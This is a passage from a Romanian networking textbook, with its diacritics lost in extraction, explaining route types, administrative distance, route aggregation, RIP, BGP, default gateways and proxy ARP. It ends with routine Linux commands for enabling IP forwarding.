6.1.2 Tipuri de rute


Intrrile din tabela de rutare au ataate o serie de informaii n plus fa de cele strict necesare naintrii pachetelor. Aceste informaii sunt folosite pentru a alege cea mai eficient cale ctre destinaie. Una dintre caracteristicile cele mai importante ale unei rute este tipul acesteia, aa cum se poate observa n seciunile urmtoare. Dei clasificarea rutelor este comun n toate sistemele de operare, notaiile folosite pentru specificarea tipului rutelor difer.

Rute direct conectate


O rut direct conectat este acea rut care apare n tabela de rutare ca urmare a configurrii unei interfee active a unui echipament de reea cu o combinaie valid de adres IP i masc de reea. O rut direct conectat apare n tabela de rutare n momentul n care unei interfee active i se atribuie o adres IP. n acest moment un ruter va avea configurat o interfa n cadrul unei reele. Ca atare, echipamentul va avea o cale ctre aceast reea prin intermediul interfeei proaspt configurate. Intrarea din cadrul tabelei de rutare asociat acestui tip de rut conine ca adres a reelei destinaie adresa obinut prin operaia de i logic ntre adresa IP configurat pe interfa i masca de reea configurat pe interfa, iar masca va fi aceeai cu cea configurat pe interfa. Ca exemplu vom considera urmtorul scenariu: interfaa Ethernet 0 a unui ruter este configurat cu adresa IP 192.168.1.251 i masca de reea 255.255.192.0. Ca urmare a acestei configurri ruterul va putea trimite pachete ctre reeaua n care are configurat o interfa, prin intermediul rutei direct conectate din figura 6-4. Adresa reea Masc Next Hop Interfaa 192.168.0.0 /18 E0

6-4: Rut direct conectat O greeal des ntlnit n diagnosticarea conectivitii prin rute direct conectate const n atribuirea unei adrese IP unei interfee inactive a unui ruter. n acest caz nu se vor crea intrri noi la nivelul tabelei de rutare deoarece, dei exista o interfa n interiorul unei reele noi, echipamentul de rutare nu poate comuta pachete spre aceasta. n momentul n care o interfa care are asociat o rut direct conectat pierde conectivitatea, sau dac nu mai are atribuite o adres IP i o masc valide, intrarea corespunztoare din tabela de rutare va fi automat tears de ctre sistemul de operare al echipamentului de rutare.

192 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Pe Cisco IOS, o rut direct conectat este marcat de obicei n interiorul tabelei de rutare prin caracterul C.

Rute statice
Rutele statice sunt acele intrri din tabela de rutare care sunt introduse manual de ctre administratorul echipamentului de reea. Acest tip de rute trebuie ntreinut manual de ctre administratorul reelei; prin urmare, se caut utilizarea ct mai rar a acestora n reelele de dimensiuni mari, datorit scalabilitii lor reduse. Cel mai mare dezavantaj al rutelor statice const n necesitatea interveniei administratorului pentru a adapta procesul de rutare la modificrile survenite n interiorul reelei. Pe de alt parte, rutarea static este cel mai predictibil mod de a transmite pachetele, calea unui pachet ctre destinaie fiind foarte uor de determinat. De asemenea, utilizarea rutelor statice la nivelul unei reele reduce ncrcarea procesorului ruterelor, deoarece acesta nu mai trebuie s intervin n procesarea pachetelor generate de protocoalele de rutare. n cazul n care este configurat o rut static, aceasta apare n tabela de rutare doar dac exist o rut ctre hop-ul urmtor specificat sau dac interfaa de ieire specificat este activ. Pe Cisco IOS, de cele mai multe ori, o rut static este identificat n tabela de rutare prin caracterul S.

Rute dinamice
Rutele dinamice sunt acele rute care apar n tabela de rutare ca urmare a rulrii unui protocol de rutare. Aceste rute sunt identificate n interiorul tabelei de rutare prin diverse prescurtri ale protocolului de rutare prin care au fost nvate. Acest tip de rute este cel mai frecvent ntlnit n reelele din ziua de azi. Rutele dinamice din tabela de rutare sunt construite pe baza informaiilor comunicate de protocoalele de rutare ntre diferitele rutere, informaii pe baza crora este estimat i eficiena unei rute. Mai multe informaii privind protocoalele de rutare pot fi gsite n seciunea dedicat din acest capitol.

Rute implicite
O rut implicit este acea rut pe care se trimit toate pachetele care nu au fost trimise conform unei intrri mai specifice din tabela de rutare. Ruta implicit este cea mai general rut i deci este poziionat ultima n tabela de rutare. Aceasta se potrivete oricrui pachet, conform procesului de rutare explicat anterior. Rutele implicite pot fi uor recunoscute deoarece au mereu adresa de reea 0.0.0.0 i masca 0.0.0.0. Rutele implicite sunt de obicei utilizate n interiorul reelelor locale pentru a indica calea ctre Internet. O rut implicit poate intra n tabela de rutare att prin configurarea manual a acesteia de ctre administrator, ct i prin intermediul unui protocol de rutare. Prin urmare, o rut implicit poate fi static sau dinamic. n interiorul unei tabele de rutare pot exista mai multe rute implicite. Desigur, un pachet nu va ajunge niciodat la cea de-a dou rut implicit, deoarece va fi rutat conform primei rute. Totui, dat fiind c o rut implicit static dispare n aceleai condiii ca o rut static obinuit, se pot configura mai multe rute implicite n vederea asigurrii redundanei.

R u t a r e | 193

Rute de filtrare
Rutele de filtrare sunt acele rute care nu nainteaz traficul n calea ctre destinaie, avnd rolul de a filtra traficul. Rutele de filtrare, numite i Black Hole Routes sau Null Routes, sunt configurate static de ctre administratorul reelei. Acest tip de rute nu sunt specificate prin next hop, ci doar prin interfaa de ieire. Interfaa de ieire a unei rute de filtrare este mereu o interfa virtual inexistent (de exemplu, n IOS interfaa Null 0). Orice pachet trimis ctre aceast interfa este ignorat de ctre ruter, nefiind trimis pe niciuna dintre interfee. Cel mai des rutele de filtrare se folosesc n acelai timp cu una sau mai multe rute statice care adreseaz mai specific acelai spaiu de adrese, precum n urmtorul exemplu: Adresa reea Masc 192.168.0.0 192.168.0.64 192.168.0.0 0.0.0.0 /26 /26 /24 /0 Next Hop 192.168.1.1 192.168.2.1 194.155.12.11 Interfaa S0 Null0

6-5: Tabela de rutare cu 4 intrri Spre exemplificare, s considerm un ruter cu tabela de rutare conform figurii 6-5. n acest caz pachetele ctre 192.168.0.0/26 i ctre 192.168.0.64/26 vor fi rutate conform primelor dou intrri. n acelai timp, orice pachet ctre alt destinaie va fi rutat conform rutei implicite, cu excepia pachetelor ctre 192.168.0.128/25, care vor fi ignorate.

6.1.3 Construirea tabelei de rutare


Aa cum a fost amintit n seciunile anterioare, tabelele de rutare sunt construite adugnd rutele n ordinea descresctoare a lungimii mtii de reea. Avnd n vedere aceast regul, o rut mai specific este ntotdeauna plasat naintea unei rute mai generale n interiorul tabelei de rutare. Acest tip de sortare este un principiu elementar care asigur rutarea adecvat ctre destinaie a pachetelor; totui, este insuficient pentru a asigura rutarea eficient a pachetelor. Astfel, pentru a asigura nu numai corectitudinea rutrii ctre destinaie, ci i eficiena acesteia, au fost introduse conceptele descrise mai jos.

Distana administrativ
Distana administrativ este o caracteristic a rutelor care indic sigurana lor, n funcie de metoda prin care au fost nvate. Distana administrativ este o constant asociat fiecrei rute, clasificnd rutele n funcie de nivelul de siguran pe care l asigur. O valoare mai mic este preferabil i indic o prioritate mai mare n rutare. De exemplu, o rut static este ntotdeauna considerat mai de ncredere dect o rut dinamic, nvat prin intermediul unui protocol de rutare; de aceea, distana administrativ a unei rute statice este mai mic dect distana administrativ a unei rute dinamice. Distana administrativ face posibil diferenierea att ntre rutele direct conectate, cele statice i cele dinamice, ct i ntre diferitele protocoale de rutare dinamic. n esen, distana administrativ nu caracterizeaz ruta, ci metoda prin care aceasta a fost nvat. Figura 6-6 ilustreaz valorile distanelor administrative pentru toate tipurile de rute:

194 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

Tip rut Direct Conectat Static Dinamic Dinamic Dinamic Dinamic Dinamic Dinamic Dinamic Dinamic Dinamic

Protocol de rutare EIGRP (Ruta Agregat) BGP EIGRP IGRP OSPF IS-IS RIP ODR iBGP

Distana administrativ 0 1 5 20 90 100 110 115 120 160 200

6-6: Distanele administrative ale protocoalelor de rutare Dac pentru aceeai reea destinaie i cu aceeai lungime a mtii de reea se cunosc mai multe rute, n tabela de rutare va fi introdus ruta care este nvat prin metoda cu cea mai mic distan administrativ.

Metrica
Metrica este caracteristica rutelor care permite diferenierea acestora n funcie de eficiena cii ctre destinaie. Dac distana administrativ ofer o clasificare a rutelor n funcie de modul n care au fost nvate, metrica creeaz posibilitatea diferenierii rutelor n funcie de capacitatea de transmisie a datelor peste calea propus. Valorile mai mici sunt preferate. n cazul n care pentru aceeai reea destinaie i cu aceeai lungime a mtii de reea se cunosc mai multe rute cu aceeai distan administrativ, n tabela de rutare va fi introdus ruta care are cea mai mic metric. n cazul rutelor statice metrica poate fi configurat manual. Aceast funcionalitate permite configurarea rutelor statice pentru a asigura redundana. Astfel, un administrator poate configura dou rute statice ctre aceeai destinaie, cu metrici diferite. n mod uzual va fi inserat n interiorul tabelei de rutare doar ruta cu metrica mai mic, dar, dac aceasta este indisponibil (deoarece interfaa este czut, sau din cauza lipsei rutei ctre hop-ul urmtor), ruta cu o metric mai mare o va nlocui. n cazul protocoalelor de rutare dinamic, metrica este calculat intern de ctre acestea. Fiecare protocol de rutare utilizeaz informaii multiple n vederea determinrii celei mai bune ci ctre destinaie. De altfel, protocoalele sunt evaluate i n funcie de aceste criterii. De exemplu, un protocol de rutare care ia considerare n calculul metricii limea de band ofer o imagine mai bun a capacitii rutei respective de a transmite date, fa de un protocol care ia n calcul numrul de rutere pn la destinaie.

6.1.4 Agregarea rutelor


tim c un ruter i construiete tabela de rutare adugnd intrri pentru toate reelele destinaie ctre care poate direciona pachete. Datorit numrului mare de reele n care un ruter poate nva s ajung, tabela de rutare poate cpta dimensiuni foarte mari. Dat fiind c, pentru a

R u t a r e | 195 ruta adecvat un pachet, un ruter trebuie s parcurg toate intrrile din tabela de rutare pn la aflarea unei rute potrivite, rutarea crete n complexitate odat cu mrimea tabelei. Agregarea rutelor const n nlocuirea a dou sau mai multe intrri din tabela de rutare cu o singur intrare mai general, cu o masc de reea mai mic. Ruta agregat acoper rutele nlocuite n vederea eficientizrii procesului de rutare, prin reducerea dimensiunii tabelei de rutare. In anumite cazuri, agregarea mai multor spaii de adrese poate s insereze rute eronate n tabela de rutare, aadar condiia cea mai important pentru ca n urma agregrii s apar adrese de reea valide este ca rutele nlocuite s fie consecutive i continue. Astfel, n cazul n care spaiul de adrese 10.0.0.0/24 este mprit n patru spaii egale ca dimensiune (10.0.0.0/26, 10.0.0.64/26, 10.0.0.128/26, 10.0.0.192/26) se vor agrega reelele consecutive, luate cte 2 sau 4. Dac spaiul de adrese este discontinuu i sumarizarea se realizeaz neinnd cont de segmentul de adrese despre care nu exist informaii, ruterul va trimite i pachetele acestuia pe aceeai legatur, cauznd erori n alegerea rutei. Avnd un ruter R1 care este direct conectat la reelele 10.0.0.0/24, 10.0.1.0/24 si 10.0.3.0/24, iar intre R1 i alt ruter R2 exist o legatur, pe R2 putem sumariza cele trei reele astfel: 10.0.0.0/22. Ruterul R2 va lua decizii corecte. Pentru a oferi o imagine mai amnunit a procesului de agregare vom examina urmtorul exemplu. S presupunem c dou rutere sunt conectate ca n figura 6-7 i au construite tabelele de rutare. 10.1.2.0/25 Fa0/0 Fa0/1 10.1.2.128/25 6-7: Schem de reea pentru un scenariu de sumarizare Tip Adresa reea Masc C C C S 192.168.1.0 10.1.2.0 10.1.2.128 0.0.0.0 /30 /25 /25 /0 Next Hop 192.168.1.2 Interfaa S0/0 Fa0/0 Fa0/1 BR

.1 S 0/0

192.168.1.0/30

.2 S 0/1

HQ

6-8: Tabela de rutare BR Tip Adresa reea Masc C S S 192.168.1.0 10.1.2.0 10.1.2.128 /30 /25 /25 Next Hop 192.168.1.1 192.168.1.1 Interfaa S0/0 -

6-9: Tabela de rutare HQ fr rute sumarizate Tip Adresa reea Masc C S 192.168.1.0 10.1.2.0 /30 /24 Next Hop 192.168.1.1 Interfaa S0/0 -

196 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e 6-10: Tabela de rutare HQ cu rute sumarizate Dup cum se poate observa din scenariul prezentat mai sus, ruterul BR are 3 reele direct conectate. Dou dintre acestea sunt reele cu masca /25 continue. Pentru ruterul HQ aceste dou reele sunt configurate prin ruterul BR (next hop) 192.168.1.1 i au cte o intrare n tabela de rutare. Deoarece subreelele 10.1.2.0/25 i 10.1.2.128/25 sunt consecutive, cele dou intrri din tabela de rutare e ruterului HQ pot fi nlocuite cu o singur intrare mai general care s acopere ambele reele, i anume 10.1.2.0/24 aa cum se poate observa n figura 6-10.

6.2 Protocoale de rutare


Modelul rutrii statice, dei ofer control, devine impracticabil odat cu creterea reelei administrate. Pe lng activitile administrative necesare ntreinerii tabelelor de rutare, dinamica unei reele de dimensiuni mari ridic o serie de provocri privind adaptarea la disponibilitatea serviciilor pe care rutarea static nu le poate satisface. Pentru a rezolva aceste probleme au fost introduse protocoalele de rutare. Un protocol de rutare reprezint un serviciu care ruleaz la nivelul ruterelor i faciliteaz schimbul de informaii ntre acestea n vederea construirii tabelei de rutare pentru fiecare echipament. Protocoalele de rutare permit construirea automat a tabelelor de rutare prin schimbul continuu de informaii ntre rutere privind reelele direct conectate i rutele statice configurate pe echipamente. Funcionarea reelelor actuale este posibil prin schimbul continuu de informaii ntre ruterele care ruleaz acelai protocol de rutare i care fac parte din aceeai reea. Informaiile schimbate ntre echipamente difer n funcie de protocolul de rutare utilizat, dar de cele mai multe ori acestea se refer la disponibilitatea unei ci ctre o reea destinaie i la starea echipamentelor prin care un pachet trebuie s treac pentru a ajunge ctre aceasta. Un ruter care ruleaz un protocol de rutare schimb informaii cu ruterele vecine care ruleaz acelai protocol i, pe baza informaiilor deinute, i construiete tabela de rutare. n cazul n care apare o modificare n reea (o interfa ctre o reea nu mai este disponibil, sau un echipament intermediar nu mai este disponibil), informaiile schimbate prin intermediul protocolului de rutare vor permite adaptarea la noua topologie modificnd automat tabelele de rutare ale ruterelor care ruleaz acelai protocol. Exist un termen foarte asemntor dar cu un neles cu totul diferit, i anume protocol rutat. Este important ca diferena dintre cei doi termeni s fie clar. Un protocol de rutare, conform definiiei de mai sus, este un serviciu care asigur nvarea automat a cilor ctre diferite subreele. Un protocol rutat este un protocol care asigur transmiterea datelor peste cile nvate printr-un protocol de rutare. ntr-o reea de calculatoare exist ntotdeauna un protocol rutat, dar este posibil s nu fie operaional niciun protocol de rutare. Un protocol rutat este protocolul care asigur transmiterea datelor n reea peste cile nvate prin protocolul de rutare. De exemplu, un protocol de rutare cum ar fi RIP, OSPF, sau EIGRP poate asigura nvarea rutelor pentru un protocol rutat precum IP sau IPX. Un alt termen relevant pentru nelegerea protocoalelor de rutare este cel de convergen. Convergena unei reele de calculatoare const n starea final de stabilitate la care se ajunge n momentul n care toate ruterele au schimbat informaii de rutare i i-au construit tabele de rutare astfel nct s poat accesa toate subreelele administrate.

6.2.1 Clasificarea protocoalelor de rutare


n funcie de capabilitile lor, precum i n funcie de modul n care funcioneaz, protocoalele de rutare sunt clasificate n dou mari categorii: protocoale bazate pe vectori de distane i

R u t a r e | 197 protocoale link state. n general protocoalele link state sunt considerate mai de ncredere, avnd o distan administrativ mai mic. Pentru a explica aceste concepte va fi utilizat termenul de vecin. n domeniul protocoalelor de rutare, dou rutere sunt vecine n momentul n care sunt conectate pe una dintre interfee, neexistnd alte echipamente de nivel 3 ntre ele.

Distance vector
Protocoalele de rutare distance vector sunt acele protocoale care permit construirea tabelei de rutare fr ca echipamentul s aib o imagine proprie asupra ntregii reele n care opereaz. Numele acestui tip de protocoale ofer indicii cu privire la modul de operare al acestora. Protocoalele distance vector propag informaii cu privire la direcia n care un pachet trebuie trimis pentru a ajunge la destinaie (vector) i cu privire la distana sau costul cii care ajunge la aceasta (distance). Rutarea conform tabelelor de rutare construite prin acest tip de protocoale se mai numete i routing by rumour. n practic, la nivelul unui ruter, direcionarea pachetelor are loc conform informaiilor cu privire la topologia reelei pe care acesta le primete de la vecinii direci. Un ruter care i construiete tabela de rutare schimbnd informaii prin intermediul unui protocol de rutare distance vector nu i construiete el nsui o imagine complet asupra reelei, ci se ncrede n informaiile primite de la vecinii si. Protocoalele de tip distance vector trimit update-uri cu ntreaga tabel de rutare, la intervale periodice, tuturor vecinilor. Aceste update-uri au rolul de anuna indisponibilitatea unei rute, precum i de a indica momentul n care unul dintre vecini nu mai este disponibil pentru a participa la procesul de rutare. Datorit lipsei procesului de construire a unei imagini proprii complete a reelei la nivelul fiecrui echipament, precum i datorit timpului n general mare de convergen, protocoalele de rutare distance vector au asociat de obicei o distan administrativ mai mare fa de protocoalele de rutare de tip link state. n acelai timp, protocoalele distance vector sunt mai puin solicitante pentru procesorul ruterelor i administrarea lor necesit mai puine cunotine din partea administratorului.

Link state
Protocoalele de rutare link state sunt acele protocoale care permit construirea tabelei de rutare a unui echipament pe baza formrii unei topologii complete proprii a ntregii reele. Protocoalele de rutare link state sunt caracterizate de timpi medii de convergen mult mai mici dect cei ai protocoalelor distance vector. De asemenea, acest tip de protocoale permite crearea la nivelul fiecrui ruter a unei imagini complete privind ntreaga topologie de reea. Dac protocoalele distance vector pot fi asemnate cu urmrirea unor indicatoare, protocoalele link state sunt similare utilizrii unei hri. Orice ruter tie nu numai pe unde s trimit pachetul pentru a ajunge la destinaie, ci i toate cile alternative pe care se poate ajunge la aceasta, ci pe care le poate utiliza imediat n cazul n care ruta principal devine inaccesibil. n cadrul protocoalelor de tip link state, informaiile privind topologia reelei se trimit doar n momentul n care un nou ruter ncepe participarea la procesul de rutare, rulnd acelai protocol, sau n momentul n care topologia reelei se modific. Aceste modificri nseamn de obicei pierderea sau recuperarea conectivitii pe un segment de reea, dar pot nsemna i modificarea capabilitilor de transmisie ale unui segment. n locul update-urilor periodice care conineau ntreaga tabel de rutare, protocoalele de tip link state trimit pachete de rutare de dimensiuni reduse, numite generic Hello packets. n cazul protocoalelor de tip distance vector prezena unui ruter la procesul de rutare i, implicit, disponibilitatea acestuia n cadrul procesului de rutare este anunat i meninut de update-uri periodice de dimensiuni mari, trimise la intervale de timp periodice dar destul de distante. Spre deosebire de acestea, n cazul protocoalelor de tip link state disponibilitatea ruterelor este comunicat prin intermediul pachetelor de tip hello. Dimensiunea redus a acestora, mult mai

198 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e mic dect update-urile cu ntreaga tabel de rutare, permite transmiterea la intervale de timp mult mai scurte, fapt ce asigur i un timp de convergen mai mic. Practic, relaia de vecintate n cadrul unui protocol de tip link state este stabilit i meninut de schimbul continuu de pachete de tip hello. n momentul n care o nou relaie de vecintate este stabilit n reea, toate ruterele trimit i primesc update-uri pentru a-i aduga intrri n tabela de rutare sau pentru a-i optimiza intrri deja existente. Odat cu trimiterea i primirea update-urilor, ruterele i construiesc i o imagine a ntregii topologii de reea. Aceast topologie este memorat n interiorul tabelei de topologie, existent la nivelul fiecrui ruter. n momentul n care una dintre rutele din tabela de rutare nu mai este accesibil, un ruter poate promova o intrare din tabela de topologie n tabela de rutare. Dei protocoalele de tip link state ofer timpi de convergen mai mici, ncrcarea procesorului este mai mare. De asemenea, cunotinele necesare unui administrator pentru configurarea acestor protocoale sunt mai complexe dect cele necesare operrii unui protocol distance vector.

6.2.2 Protocolul RIP


Protocolul de rutare RIP, sau Routing Information Protocol, este cel mai simplu protocol de rutare de tip distance vector. Protocolul este neproprietar (RFC2453), ceea ce nseamn c poate fi implementat pe orice echipament de rutare, indiferent de platform (Cisco, Windows, Linux). De-a lungul timpului au existat dou versiuni ale protocolului, n momentul de fa fiind utilizat doar versiunea a doua. De altfel, aceasta este singura care include suport pentru subnetare cu lungime variabil a mtii de reea. n cadrul protocolului de reea se definesc intervalele de timp conform figurii 6-11. Nume Timer Update Timer Invalid Timer Interval 30 s 180 s Utilizare Intervalul de timp ntre dou update-uri periodice. Dac o rut nu este actualizat prin primirea unui update n mai puin de 180 secunde aceasta este marcat ca invalid n interiorul tabelei de rutare, iar pachetele nu mai sunt trimise pe aceast cale. Dac o rut nu este actualizat prin primirea unui update n mai puin de 240 secunde, aceasta este scoas din tabela de rutare. Pentru o rut pentru care a fost primit un update care a marcat ruta ca fiind inaccesibil sunt ignorate toate update-urile care au informaii privind o rut ctre aceeai destinaie cu o metric egal sau mai proast. Acest timer previne buclele de rutare.

Flush Timer

240 s

Holddown Timer

180 s

6-11: Intervale de timp n cadrul protocolului de rutare Dei uor de configurat i administrat, protocolul RIP are o scalabilitate redus, neputnd fi utilizat n reele care conin rute cu mai mult de 15 echipamente intermediare. Aceasta este o restricie impus prin specificaiile protocolului, dat fiind faptul c timpul necesar convergenei ntr-o reea mai mare de 15 hop-uri care utilizeaz protocolul RIP ar fi foarte mare. Dei nu este foarte popular n cadrul reelelor companiilor mari, protocolul RIP reprezint o alternativ independent, din punct de vedere al productorului, pentru reelele cu un diametru care nu depete 15 echipamente de rutare.

R u t a r e | 199

6.2.3 Protocolul BGP


Protocolul BGP, sau Border Gateway Protocol, este cel mai complex i poate cel mai important protocol de rutare. Acesta este protocolul utilizat n backbone-ul Internet-ului, ocupndu-se de rutarea traficului la nivel global. Protocolul beneficiaz de cele mai multe opiuni de configurare i de numeroase extensii pentru a-i mbunti funcionalitatea. BGP este un protocol excepie, care nu poate fi ncadrat n cele dou categorii enumerate pn acum, fiind considerat un protocol de tip path vector. Protocolul BGP nu face schimb de informaii pentru a crea rute spre reele, ci pentru a crea rute ctre sisteme autonome. Un sistem autonom este o reea sau un grup de reele aflate sub o administrare unitar. Companiile de dimensiuni mari precum i furnizorii de servicii de internet administreaz sisteme autonome. Configurarea protocolului BGP necesit cunotine tehnice avansate, iar explicarea funcionrii acestuia nu face parte dintre obiectivele acestei cri.

6.3 Comunicaia din reeaua local


Pn n acest punct a fost explicat comunicaia la nivelul reelelor, aa cum are ea loc ntre echipamentele de rutare. Dar, de cele mai multe ori, acestea nu sunt nici sursa i nici destinaia traficului. De aceea este important s fie explicat modul n care traficul ajunge de la surs pn la primul ruter. Pentru a examina procesul pe care un calculator sau o surs a traficului l realizeaz pentru a transmite un pachet prin reea propunem scenariul din figura 6-12. A

.11
Sw1

.23

.1 Fa0/1

HQ

.1 Fa0/0 Z

.11

6-12: Topologie privind comunicaia n reeaua local Parametru Adresa IP Masca Gateway Valoare 172.16.0.11 255.255.255.0 172.16.0.1 Parametru Adresa IP Masca Gateway Valoare 172.16.0.23 255.255.255.0 172.16.0.1 Parametru Adresa IP Masca Gateway Valoare 172.16.1.11 255.255.255.0 172.16.1.1

6-13: Adresare staie A

6-14: Adresare staie B

6-15: Adresare staie C

n scenariul de mai sus sunt prezentate un numr de 3 staii interconectate prin intermediul reelei. Dou dintre staii se afl n aceeai reea (172.16.0.0/24) n timp ce o a treia se afl ntr -o reea separat (172.16.1.0/24). Cele dou reele distincte sunt interconectate printr-un ruter care are configurat cte o interfa n fiecare dintre ele, Fa0/0 i respectiv Fa0/1. n momentul n care staia A va dori s transmit un pachet ctre staia B, va analiza adresa destinaie a acesteia (172.16.0.23) i, n urma procesului de i logic ntre aceasta i masca proprie configurat, va determina c destinaia pachetului se afl n aceeai reea. Pentru a trimite pachetul ctre destinaie, staia A trebuie, mai nti, s determine adresa MAC a destinaiei. Pentru a

200 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e determina adresa MAC asociat IP-ului destinaie, staia A va lansa, conform procesului de ARP, o interogare ARP ctre toate echipamentele din domeniul de broadcast n care va solicita adresa MAC asociat adresei IP a staiei B. Rspunsul l va primi de la staia B, care i va trimite un pachet ARP de tip rspuns (reply) n care i va include propria adres MAC. n acest moment staia A are toate informaiile necesare trimiterii pachetului ctre destinaie, cunoscnd: Adresa IP destinaie; Faptul c adresa IP a destinaiei se afl n aceeai reea; Adresa MAC a destinaiei. Pentru pachetele viitoare care vor fi trimise att n primul ct i n al doilea exemplu, staia A nu va mai face interogri ARP, deoarece, n urma rspunsurilor iniiale, asocierile adresa MAC - adresa IP vor fi nregistrate n tabela ARP local.

6.3.1 Default Gateway


Unul dintre parametrii cei mai importani care trebuie configurai odat cu atribuirea unei adrese IP unei interfee este parametrul default gateway. Acesta este configurat de obicei cu adresa IP a primului ruter care are conectat o interfa n reeaua local din care face parte sursa traficului (calculatorul care este configurat pentru a-i oferi conectivitate). Similar unui ruter, orice calculator i creeaz, pe baza informaiilor de adresare configurate, o tabel de rutare. Dimensiunea acesteia este mult redus fa de o tabel de rutare disponibil pe un ruter dedicat. De asemenea, funcionalitatea oferit este redus, aceasta tabel de rutare oferind doar posibilitatea trimiterii pachetelor iniiate local (de ctre calculatorul care i-a construit tabela de rutare) ctre alte dispozitive din Internet. Atribuirea unei adrese pentru parametrul default gateway n momentul configurrii informaiilor de adresare este similar procesului de configurare a unei rute implicite (ruta default) pe un ruter dedicat. Odat configurat aceast adres, la sfritul tabelei de rutare a staiei este introdus o rut implicit ce are drept adres a urmtorului hop chiar valoarea parametrului default gateway. n practic, un calculator care va dori sa transmit un pachet ctre o destinaie care nu se afl ntr-o reea n care acesta are o interfa, va trimite acest pachet ctre dispozitivul cu IP -ul configurat ca default gateway, conform rutei implicite adugate n tabela proprie de rutare. n momentul n care o staie dorete s transmit un pachet n afara reelei n care are configurat o interfa, are loc un proces celui expus n seciunea 6.3. Pentru exemplificare vom considera aceeai topologie, conform figurii 6-12. n cazul n care staia A dorete s transmit un pachet staiei C, operaia de i logic ntre adresa IP destinaie i masca de reea proprie va indica staiei A c staia C se afl ntr -o alt reea. n acest moment se va cuta n interiorul tabelei proprii de rutare o intrare ctre reeaua destinaie. Deoarece nu exist o reea mai specific, singura rut pe care poate fi trimis pachetul va fi ruta implicit, care este introdus automat n momentul configurrii gateway-ului default. n acest moment staia A a aflat c pentru a trimite un pachet ctre staia C acesta trebuie trimis prin ruterul care interconecteaz cele dou reele (adresa gateway-ului default). Astfel, pentru a transmite pachetul, staia A va face o interogare ARP pentru a afla adresa MAC asociat adresei IP a gatewayului default. Odat ce ruterul i va rspunde prin trimiterea unui pachet ARP de rspuns cu adresa sa MAC, staia A va putea trimite pachetul ctre destinaie, utiliznd urmtoarele informaii: Adresa IP destinaie (adresa IP a staie C); Faptul c adresa IP a destinaiei nu se afl n aceeai reea; Adresa MAC a gateway-ului default.

6.3.2 Proxy ARP


Un scenariu diferit se petrece n momentul n care la nivelul staiei care dorete s transmit nu exist configurat un default gateway. Pentru a ilustra acest scenariu se consider topologia din figura 6-16.

R u t a r e | 201

.11
Sw1

.23

.1 Fa0/1

HQ

.1 Fa0/0 Z

.11

6-16: Topologie privind comunicaia n reeaua local

Parametru Adresa IP Masca Gateway

Valoare 172.16.0.11 255.255.255.0 Nesetat

Parametru Adresa IP Masca Gateway

Valoare 172.16.0.23 255.255.255.0 172.16.0.1

Parametru Adresa IP Masca Gateway

Valoare 172.16.0.23 255.255.255.0 172.16.0.1

6-17: Adresare staie A

6-18: Adresare staie B

6-19: Adresare staie C

Dup cum se poate observa, staia A nu are configurat o adres a gateway-ului implicit. n momentul n care aceasta va dori s trimit un pachet ctre staia C, va ncerca s trimit o cerere ARP pentru a rezolva adresa MAC atribuit adresei IP a staiei C. Deoarece broadcast -ul de nivel 2 nu este naintat de rutere n mod implicit, nici o staie nu va rspunde cererii ARP i pachetul nu va putea fi trimis. Scenariul descris n paragraful anterior are loc n momentul n care primul ruter n calea ctre destinaie nu este configurat pentru a nainta cererile de ARP (no proxy arp). n caz contrar, acesta i d seama de existena unei rute n tabela sa de rutare care permite trimiterea pachetului n reeaua destinaie. Prin urmare, va rspunde iniiatorului traficului (calculatorului A) printr-un pachet ARP de rspuns n care este specificat adresa proprie MAC ca fiind asociat adresei IP a destinaiei, urmnd ca ruterul s se ocupe de transmisia ulterioar a pachetului. Dei ruterul nu are configurat pe nicio interfa adresa IP destinaie a pachetului, rspunsul ctre cererea ARP iniial nu va influena n niciun fel buna transmisie a datelor. n practic, staia A va asocia (n interiorul tabelei ARP interne) adresa primului ruter pentru toate adresele IP din afara reelei locale, proces care elimin nevoia configurrii unui gateway default. Acest proces permite trimiterea pachetelor n afara reelei locale fr a avea specificat parametrul default gateway la nivelul staiei care iniiaz traficul.

6.4 Utilitare pentru gestiunea procesrii de nivel reea


n seciunea curent vor fi prezentate o serie de utilitare de gestionare a procesrii la nivel reea pentru fiecare sistem de operare prezentat.

6.4.1 Linux
Activarea rutrii
La nivelul sistemului de operare Linux rutarea pachetelor nu este activat implicit. Pentru a verifica dac sistemul are activat funcionalitatea de rutare a pachetelor poate fi utilizat oricare dintre urmtoarele comenzi: sysctl net.ipv4.ip_forward sau cat

202 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e /proc/sys/net/ipv4/ip_forward. Comenzile vor returna 1 dac rutarea este activat sau 0 n cazul n care aceasta nu este activat.
root@eragon:~# sysctl net.ipv4.ip_forward net.ipv4.ip_forward = 0 root@eragon:~# cat /proc/sys/net/ipv4/ip_forward 0

Dup cum se poate observa, la nivelul sistemului administrat rutarea nu este activat. n vederea activrii acesteia exist mai multe posibiliti. Administratorul poate alege s modifice variabila net.ipv4.ip_forward fie prin rularea comenzii sysctl -w net.ipv4.ip_forward=1 sau prin schimbarea valorii din fiierul /proc/sys/net/ipv4/ip_forward n 1 prin comanda echo 1 > /proc/sys/net/ipv4/ip_forward.
root@eragon:~# sysctl -w net.ipv4.ip_forward=1 net.ipv4.ip_forward = 1 root@eragon:~# echo 1 > /proc/sys/net/ipv4/ip_forward root@eragon:~# sysctl net.ipv4.ip_forward net.ipv4.ip_forward = 1 root@eragon:~# cat /proc/sys/net/ipv4/ip_forward 1

n exemplul de mai sus rutarea a fost activat. Cu toate acestea, modificrile efectuate nu sunt persistente, acestea pierzndu-se n momentul n care sistemul este restartat. Pentru ca schimbrile s fie persistente trebuie editat fiierul /etc/sysctl.conf adugndu-se linia net.ipv4.ip_forward = 1.
root@eragon:~# cat /etc/sysctl.conf | grep net.ipv4.ip_forward net.ipv4.ip_forward=1

Acest fiier se interpreteaz i are efect doar n momentul n care este rulat comanda sysctl p /etc/sysctl.conf sau la reboot. Astfel, dup editarea fiierului, trebuie rulat aceast comand sau restartat sistemul pentru ca rutarea s fie activat.
